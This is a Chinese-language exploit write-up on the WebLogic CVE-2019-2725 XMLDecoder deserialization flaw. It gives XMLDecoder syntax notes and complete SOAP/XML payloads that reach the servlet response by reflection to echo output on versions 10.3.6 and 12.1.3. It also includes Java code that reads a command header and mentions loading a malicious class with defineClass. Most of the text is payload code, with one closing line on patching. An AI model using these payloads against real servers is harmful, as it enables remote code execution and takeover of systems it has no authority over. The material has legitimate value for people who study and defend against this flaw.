weblogic_2019_2725poc与回显构造
字数 878 2025-08-27 12:33:22
WebLogic CVE-2019-2725漏洞分析与利用
漏洞概述
CVE-2019-2725是Oracle WebLogic Server中的一个远程代码执行漏洞,影响10.3.6.0和12.1.3.0版本。该漏洞源于WebLogic的wls9-async组件在反序列化XML数据时存在缺陷,攻击者可以通过发送精心构造的XML请求在目标服务器上执行任意代码。
XMLDecoder解析机制
基本语法解析
XMLDecoder是Java中用于将XML数据反序列化为Java对象的工具。理解其语法对构造有效载荷至关重要:
- 对象初始化:
<object class="java.io.FileWriter"><string>f:/2.txt</string></object>
或
<void class="java.io.FileWriter"><string>f:/2.txt</string></void>
- 无值链式调用:
out.getClass().toString()
对应XML:
<void method="getClass"><void method="toString" id="className"></void></void>
- 有值链式调用:
a.getxxx("xxx").toString()
对应XML:
<void method="getxxx">
<string>xxx</string>
<void method="toString"></void>
</void>
- 普通调用:
<void method="write"><object idref="className"></object></void>
<void method="close"></void>
- 属性获取:
<void property="class" id="class_property"></void>
- ID与IDREF:
<void property="class" id="class_property"></void>
<void method="write"><object idref="className"></object></void>
回显构造技术
10.0.3版本回显构造
- 获取当前线程:
((ServletRequestImpl) this.getCurrentWork()).getResponse()
- 输出方式:
// 使用getWriter
PrintWriter pw = response.getWriter();
pw.write("hello");
// 或使用getOutputStream
response.getOutputStream().write("hello".getBytes("UTF-8"));
- 完整回显代码:
String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
outputStream.writeStream(new weblogic.xml.util.StringInputStream(lfcmd));
outputStream.flush();
response.getWriter().write("");
- 对应的XML载荷:
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="writeStream">
<object class="weblogic.xml.util.StringInputStream"><string>2222222222</string></object>
</void>
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string></string></void></void>
</void>
</void>
</void>
12.1.3版本回显构造
12.1.3版本中获取Response的方式有所不同:
- 使用反射获取connectionHandler:
java.lang.reflect.Field field = ((weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor)this.getCurrentWork()).getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
HttpConnectionHandler httpConn = (HttpConnectionHandler) field.get(this.getCurrentWork());
httpConn.getServletRequest().getResponse().getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream("xxxxxx"));
- 完整XML载荷:
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork" id="current_work"></void>
</void>
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork">
<void method="getClass">
<void method="getDeclaredField" id="field"><string>connectionHandler</string></void>
</void>
</void>
</void>
<object idref="field">
<void method="setAccessible">
<boolean>true</boolean>
</void>
<void method="get" id="http_conn">
<object idref="current_work"></object>
</void>
</object>
<object idref="http_conn">
<void method="getServletRequest">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="writeStream">
<object class="weblogic.xml.util.StringInputStream"><string>33333333333333</string></object>
</void>
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string></string></void></void>
</void>
</void>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
高级利用技术
defineClass方法
可以使用defineClass还原恶意class,将类变成模块化组件:
// 将恶意类转换为base64编码
String evilClassBase64 = "...";
// 使用defineClass加载
注意事项
-
流使用问题:
- getOutputStream是字节流,getWriter是字符流
- 不能在getWriter后面调用getOutputStream
- 但可以先使用getOutputStream,再使用getWriter
-
参数获取:
- 可以从header头获取参数:
((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lufei");
参考资源
总结
本漏洞利用关键在于:
- 理解XMLDecoder的反序列化机制
- 掌握不同WebLogic版本获取Response的方式
- 正确处理流操作避免冲突
- 灵活使用反射机制绕过限制
通过精心构造的XML载荷,攻击者可以在目标WebLogic服务器上实现远程代码执行,获取系统控制权。防御措施包括及时安装官方补丁、禁用wls9-async组件等。